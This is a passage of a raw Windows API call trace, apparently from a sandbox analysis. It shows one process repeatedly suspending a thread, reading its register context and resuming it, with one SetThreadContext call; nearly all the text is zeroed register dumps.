Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0081.814] ResumeThread (hThread=0x118) returned 0x1
[0081.814] CloseHandle (hObject=0x118) returned 1
[0081.814] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.130] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.165] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.241] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.356] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0082.356] SuspendThread (hThread=0x118) returned 0x0
[0082.356] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000110e50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a3e60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0082.426] ResumeThread (hThread=0x118) returned 0x1
[0082.426] CloseHandle (hObject=0x118) returned 1
[0082.426] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.465] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.502] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.578] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.656] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0082.656] SuspendThread (hThread=0x118) returned 0x0
[0082.656] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000110d18, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12d4040, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0082.731] ResumeThread (hThread=0x118) returned 0x1
[0082.731] CloseHandle (hObject=0x118) returned 1
[0082.731] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.807] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0082.807] SuspendThread (hThread=0x118) returned 0x0
[0082.807] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000110dd8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12d5340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0082.876] ResumeThread (hThread=0x118) returned 0x1
[0082.876] CloseHandle (hObject=0x118) returned 1
[0082.876] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.914] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0082.948] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.023] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.099] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0083.099] SuspendThread (hThread=0x118) returned 0x0
[0083.099] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000110ff8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x135dffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0083.171] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000110ff0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, 